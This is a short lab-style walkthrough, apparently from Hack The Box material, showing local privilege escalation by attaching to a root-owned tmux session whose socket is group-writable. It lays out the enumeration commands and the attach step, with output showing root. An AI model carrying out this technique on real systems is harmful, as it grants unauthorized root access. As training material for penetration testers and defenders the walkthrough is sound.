Hijacking Tmux Sessions

https://redfoxsec.com/blog/terminal-multiplexing-hijacking-tmux-sessions/

https://int0x33.medium.com/day-69-hijacking-tmux-sessions-2-priv-esc-f05893c4ded0

For many reasons, a user may leave a tmux process running as a privileged user, such as root set up with weak permissions, and can be hijacked.

htb@NIX02:~$ tmux -S /shareds new -s debugsess
htb@NIX02:~$ chown root:devs /shareds

If we can compromise a user in the dev group, we can attach to this session and gain root access.

Check for any running tmux processes.

htb@NIX02:~$  ps aux | grep tmux

root      4806  0.0  0.1  29416  3204 ?        Ss   06:27   0:00 tmux -S /shareds new -s debugsess

Confirm permissions.

htb@NIX02:~$ ls -la /shareds 

srw-rw---- 1 root devs 0 Sep  1 06:27 /shareds

Review our group membership.

htb@NIX02:~$ id

uid=1000(htb) gid=1000(htb) groups=1000(htb),1011(devs)

Finally, attach to the tmux session and confirm root privileges.

htb@NIX02:~$ tmux -S /shareds

htb@NIX02:~$ id
uid=0(root) gid=0(root) groups=0(root)